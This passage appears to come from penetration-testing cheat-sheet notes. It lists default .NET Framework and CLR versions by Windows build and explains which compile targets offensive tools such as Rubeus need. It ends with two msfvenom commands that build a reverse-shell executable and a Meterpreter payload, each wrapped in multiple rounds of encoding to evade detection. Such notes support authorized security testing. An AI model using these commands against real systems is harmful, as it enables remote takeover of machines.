Windows build <-> default .NET Framework version associations:
Windows Build
Default .NET Framework Version
1511
4.6.1
1607
4.6.2
1703
4.7
1709
4.7.1
1803
4.7.2
1909+
4.8
.NET Framework version <-> CLR version associations:
.NET Framework Version
CLR Version
2.0, 3.0, 3.5
2
4, 4.5-4.8
4
Note that we don't have to target the exact .NET Framework version when compiling our tools. It's enough to match the above relationship between .NET Framework version and CLR version, i. e. all 4.x versions will execute on CLR v4. For example, Rubeus compiled to target v4.5 will run on a machine with only .NET v4.0 installed.
$ msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 -a x86 --platform win -e x86/shikata_ga_nai -i 3 -f exe -o rev.exe
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1337 -e x86/shikata_ga_nai -i 9 -f raw | msfvenom --platform windows -a x86 -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 11 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 6 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 7 -k -f exe -o met.exe